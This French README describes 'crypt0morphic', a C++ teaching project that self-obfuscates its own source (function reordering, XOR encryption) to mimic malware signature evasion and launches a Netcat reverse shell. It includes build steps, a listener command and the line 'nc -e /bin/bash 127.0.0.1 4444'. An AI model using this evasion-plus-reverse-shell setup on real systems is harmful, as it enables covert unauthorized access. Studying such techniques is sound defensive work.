"L'obfuscation, c'est l'art de cacher l'évidence... et de rendre la vie difficile aux curieux !" 🕵️♂️💻
crypt0morphic est un projet pédagogique en C++ qui explore les techniques d'obfuscation polymorphe appliquées à un reverse shell. Son but ?
✅ Modifier son propre code source à l'exécution 📜🔄
✅ Réordonner les blocs de fonctions de manière dynamique 🎲
✅ Chiffrer partiellement le code via XOR 🔐
✅ Lancer un reverse shell avec Netcat 🌐💀
- Présentation
- Fonctionnalités
- Architecture du Projet
- Installation et Dépendances
- Compilation et Exécution
- Script d'Automatisation
- Tests Unitaires
- Mécanismes Internes
- Restauration du Code Source
- Remarques et Sécurité
- Licence
L'objectif de crypt0morphic est de démontrer comment un programme peut s'auto-obfusquer en modifiant son propre fichier source sans altérer ses fonctionnalités. Il s'inspire des méthodes employées par certains malwares pour échapper aux détections par signature 🦠🚨.
- Auto-obfuscation : Le programme modifie son propre fichier source 📜✂️.
- Réordonnancement des fonctions : Détection des blocs via
// BEGIN_FUNCTION&// END_FUNCTIONet réorganisation aléatoire 🔄. - Chiffrement XOR : Certaines parties du code sont chiffrées avec une clé fixe 🔐.
- Reverse Shell : Utilisation de Netcat pour obtenir un accès distant 💀.
- Sauvegarde et restauration : Possibilité de revenir à la version originale en cas d'erreur 🛡️.
📂 Organisation du projet :
.
├── README.md
├── scripts
│ └── build_ofuscate.sh
├── src
│ ├── main.cpp
│ ├── obfuscator
│ │ ├── obfuscator.cpp
│ │ └── obfuscator.h
│ └── reverse_shell
│ ├── reverse_shell.cpp
│ └── reverse_shell.h
└── tests
├── builds
│ ├── test_obfuscator
│ └── test_reverse_shell
├── test_obfuscator.cpp
└── test_ReverseShell.cpp
Prérequis :
- 💻 OS : Ubuntu 24+ ou distribution Linux compatible 🐧.
- 🏗️ Compilateur : g++ (C++17+).
- 🔗 Netcat : Installation via :
sudo apt-get install netcat-traditional sudo update-alternatives --config nc
Compilation automatique :
./scripts/build_ofuscate.shCompilation manuelle :
g++ -std=c++17 -I./src -o crypt0morphic src/main.cpp src/obfuscator/obfuscator.cpp src/reverse_shell/reverse_shell.cppLancement du listener (dans un autre terminal) :
nc -l -p 4444Exécution du programme :
./crypt0morphicLe script build_ofuscate.sh permet de :
✅ Nettoyer les anciens builds 🗑️
✅ Compiler l'application 🏗️
✅ Exécuter les tests unitaires 🔬
✅ Lancer crypt0morphic 🚀
Les tests unitaires se trouvent dans tests/ et couvrent :
- ReverseShell : Teste la génération de commande et l'exécution 🕵️.
- Obfuscator : Valide la sauvegarde, le réordonnancement et le chiffrement 🔄🔐.
Compilation et exécution des tests :
g++ -std=c++17 -I./src -o tests/builds/test_reverse_shell src/reverse_shell/reverse_shell.cpp tests/test_ReverseShell.cpp
./tests/builds/test_reverse_shell
g++ -std=c++17 -I./src -o tests/builds/test_obfuscator src/obfuscator/obfuscator.cpp tests/test_obfuscator.cpp
./tests/builds/test_obfuscatorObfuscation :
- Sauvegarde initiale du fichier
.bak - Extraction des blocs de fonctions (
// BEGIN_FUNCTION,// END_FUNCTION) - Réorganisation aléatoire 🎲
- Chiffrement XOR 🔐
Reverse Shell :
nc -e /bin/bash 127.0.0.1 4444En cas de souci, vous pouvez restaurer le fichier d'origine avec restoreBackup().
cp src/main.cpp.bak src/main.cpp🚀 Projet libre et pédagogique : Modifiez et utilisez ce projet pour apprendre, mais respectez les lois en vigueur 📜✨.